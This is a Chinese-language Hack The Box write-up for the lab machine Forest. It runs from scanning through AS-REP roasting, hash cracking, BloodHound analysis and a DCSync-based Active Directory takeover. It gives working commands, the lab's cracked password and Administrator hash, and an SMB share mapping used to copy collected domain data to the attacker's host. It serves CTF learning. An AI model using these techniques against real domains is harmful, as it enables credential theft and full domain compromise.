当前位置: 首页 > article >正文

HTB:Forest[WriteUP]

连接至HTB服务器并启动靶机

分配IP:10.10.16.21

靶机IP:10.10.10.161

靶机Domain:forest.htb


目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbclient尝试列出靶机SMB共享

使用netexec枚举靶机AD域中的用户信息

边界突破

将上述枚举出来的用户名保存到文件中

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据

使用john对该密码哈希进行字典爆破

使用netexec通过上述凭证尝试枚举靶机SMB服务共享

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

将SharpHound上传至靶机

控制靶机连接至攻击机SMB服务器

使用BloodHound读取分析靶机域内数据

点击下方的HTB.LOCAL域结点查看其可传递DC

查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组

授予x0da6h账户DcSync权限

使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.161 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                                 
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.161

  • 需要重点关注的端口和信息

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

AD域名:htb.local

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.161

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn 10.10.10.161

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn 10.10.10.161

使用smbclient尝试列出靶机SMB共享

smbclient -L \\forest.htb

使用netexec枚举靶机AD域中的用户信息

netexec smb forest.htb -d htb.local --users


边界突破

将上述枚举出来的用户名保存到文件中

netexec smb forest.htb -d htb.local --users | awk '{print $5}' | tee names.txt

使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据
impacket-GetNPUsers -no-pass htb.local/ -usersfile ./names.txt -dc-ip 10.10.10.161

$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc
  • 将枚举得到的密码哈希保存到文件中
echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc' > hash

使用john对该密码哈希进行字典爆破

john hash --wordlist=../dictionary/rockyou.txt --format=krb5asrep

账户:svc-alfresco

密码:s3rvice

使用netexec通过上述凭证尝试枚举靶机SMB服务共享
netexec smb forest.htb -u 'svc-alfresco' -p 's3rvice' --shares

使用evil-winrm通过上述凭证登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'svc-alfresco' -p 's3rvice'

  • C:\Users\svc-alfresco\Desktop目录下找到user.txt文件


权限提升

将SharpHound上传至靶机

upload SharpHound.exe

  • 执行该文件收集靶机域内信息
.\SharpHound.exe -c all

控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
  • 将域内数据拷贝至攻击机共享目录中
copy 20250126235717_BloodHound.zip Z:\

使用BloodHound读取分析靶机域内数据

  • 选择`查找到域管理员的最短路径`

点击下方的HTB.LOCAL域结点查看其可传递DC

  • 如图表所示,ACCOUNT OPERATORS(AO)组对EXCHANGE WINDOWS PERMISSIONS(EWP)组具有GenericAll权限,而EWP组对HTB.LOCAL域控制器具有WriteDacl权限
查看如何滥用EWP组对域控制器的WriteDacl权限

要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组
  • 在域中新建一个用户
net user x0da6h Password123! /add /domain

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user x0da6h Password123! /add /domain
The command completed successfully.

  • 将该用户加入EWP组
net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h
The command completed successfully.

授予x0da6h账户DcSync权限

  • 将明文密码转换为安全字符串
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  • 创建x0da6h用户与安全密码的凭证对象
$Cred = New-Object System.Management.Automation.PSCredential('HTB\x0da6h', $SecPassword)
  • 使用凭证对象为x0da6h账户授予 HTB.LOCAL的DCSync权限
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=HTB,DC=LOCAL" -PrincipalIdentity x0da6h -Rights DCSync
使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希
impacket-secretsdump 'htb.local/x0da6h:Password123!@10.10.10.161'

使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务

evil-winrm -i forest.htb -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
  • C:\Users\Administrator\Desktop目录下找到root.txt文件

使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户

impacket-psexec htb.local/Administrator@forest.htb -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6


http://www.kler.cn/a/523865.html

相关文章:

  • 【面试】【前端】SSR与SPA的优缺点
  • Java 在包管理与模块化中的优势:与其他开发语言的比较
  • 危机13小时:追踪一场GitHub投毒事件
  • 【Jave全栈】Java与JavaScript比较
  • css中的animation
  • Flutter_学习记录_基本组件的使用记录
  • 算法随笔_19: 数组中的最长山脉
  • DeepSeek助力学术文献搜索!
  • 安装VMware17
  • SQL进阶实战技巧:如何构建用户行为转移概率矩阵,深入洞察会话内活动流转?
  • JavaScript系列(45)--响应式编程实现详解
  • FFmpeg 自定义IO和格式转换
  • < OS 有关 > Android 手机 SSH 客户端 app: connectBot
  • JavaScript正则表达式
  • 【04-自己画P封装,并添加已有3D封装】
  • Ansible自动化运维实战--script、unarchive和shell模块(6/8)
  • 【第九天】零基础入门刷题Python-算法篇-数据结构与算法的介绍-六种常见的图论算法(持续更新)
  • leetcode 1493. 删掉一个元素以后全为 1 的最长子数组
  • 书生大模型实战营3
  • vs2013 使用 eigen 库编译时报 C2059 错的解决方法
  • 大数据Hadoop入门3
  • 2023年吉林省职业院校技能大赛网络系统管理样题-网络配置(华三代码)
  • electron typescript运行并设置eslint检测
  • (学习总结21)C++11 异常与智能指针
  • 第24章 质量培训与探啥未来
  • deepseek-r1 本地部署